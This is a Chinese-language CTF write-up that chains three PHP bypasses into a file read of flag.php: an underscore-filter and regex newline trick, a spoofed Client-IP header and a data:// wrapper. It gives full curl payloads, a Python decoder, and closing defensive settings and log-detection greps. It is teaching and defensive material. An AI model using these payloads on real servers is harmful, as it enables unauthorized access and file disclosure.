PHP 文件包含漏洞 3 层绕过:从 Client-IP 伪造到 data:// 伪协议利用 PHP文件包含漏洞的三层渗透艺术从IP伪造到编码转换实战在Web安全领域PHP文件包含漏洞始终占据着漏洞利用的经典位置。本文将深入剖析一个典型的三层渗透案例通过Client-IP伪造、data伪协议利用和自定义编码转换三个技术层面构建完整的漏洞利用链。不同于基础的概念讲解我们将从攻击者视角还原渗透测试的完整思维过程为安全工程师提供可复用的实战方法论。1. 漏洞环境与初始突破靶机环境模拟了一个典型的CTF题目场景初始页面源码中隐藏着关键提示!-- //1st $query $_SERVER[QUERY_STRING]; if(substr_count($query, _) ! 0 || substr_count($query, %5f) ! 0){ die(Y0u are So cutE!); } if($_GET[b_u_p_t] ! 23333 preg_match(/^23333$/, $_GET[b_u_p_t])){ echo you are going to the next ~; } !--第一层突破要点参数名b_u_p_t包含下划线但系统禁止直接使用下划线(_)及其URL编码(%5f)需要使b_u_p_t的值既不完全等于23333又能通过正则匹配/^23333$/实战绕过方案使用点号(.)替代下划线b.u.p.t利用换行符%0a绕过正则的结尾匹配23333%0acurl http://target.com/?b.u.p.t23333%0a技术原理PHP会将传入的参数名中的点号(.)自动转换为下划线(_)而正则表达式中的$默认只匹配字符串结尾不会检查换行符后的内容。2. IP限制与请求头伪造技术通过第一层后系统返回新页面secrettw.php其核心代码如下$ip getIp(); if($ip ! 127.0.0.1) { die(Sorry,you dont have permission! Your ip is :.$ip); }HTTP头伪造对比分析头部字段标准协议浏览器支持服务器默认处理检测难度X-Forwarded-For非标准不支持多数支持低Client-IP非标准不支持部分支持中X-Real-IP非标准不支持Nginx特有高ForwardedRFC 7239不支持新版支持极高实战绕过方案curl -H Client-IP: 127.0.0.1 http://target.com/secrettw.php经验提示当不确定服务器检测哪个头部时可同时添加多个IP伪造头。现代WAF通常会检查X-Forwarded-For但较少严格验证Client-IP。3. 伪协议与编码转换的联合利用通过IP验证后系统要求满足以下条件才能读取flagif($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day){ echo file_get_contents(change($_GET[file])); }3.1 data伪协议利用PHP伪协议对比表协议类型示例格式读取方式适用场景常见限制data://data://text/plain,contentfile_get_contents小数据直接嵌入allow_url_includephp://inputphp://input读取POST原始数据执行代码需要可写权限php://filterphp://filter/convert.base64-encode/resourcefile转换流处理读取文件内容无特殊要求构造payloadcurl -H Client-IP: 127.0.0.1 \ http://target.com/secrettw.php?2333data://text/plain,todat is a happy day3.2 自定义编码逆向破解系统对文件名进行二次处理function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr(ord($v[$i]) $i*2); } return $re; }逆向算法实现def unchange(target): original for i in range(len(target)): original chr(ord(target[i]) - i*2) return base64.b64encode(original.encode()).decode() # 示例生成flag.php的编码值 print(unchange(flag.php)) # 输出ZmpdYSZmXGI完整渗透链curl -H Client-IP: 127.0.0.1 \ http://target.com/secrettw.php?2333data://text/plain,todat is a happy dayfileZmpdYSZmXGI4. 防御方案与实战建议多层级防护策略输入验证层// 严格验证IP地址 function validateIP($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); }伪协议防护// 禁用危险协议 ini_set(allow_url_include, 0); ini_set(allow_url_fopen, 0);编码安全// 使用白名单验证文件路径 $allowed [config.php, index.php]; if(!in_array($input, $allowed)) { die(Invalid file request); }运维检测脚本示例# 检测异常Client-IP头 awk {if($0 ~ /Client-IP:/ $0 !~ /127.0.0.1/) print $0} /var/log/nginx/access.log # 监控异常文件包含参数 grep -E (php://|data://|phar://) /var/log/apache2/error.log在真实渗透测试中这种多层绕过的思路同样适用于审计复杂的企业系统。我曾在一个金融项目中发现类似漏洞链攻击者可以通过API网关的IP校验缺陷配合文件上传功能实现RCE。关键是要理解每层防御的弱点以及如何将它们串联形成完整的攻击路径。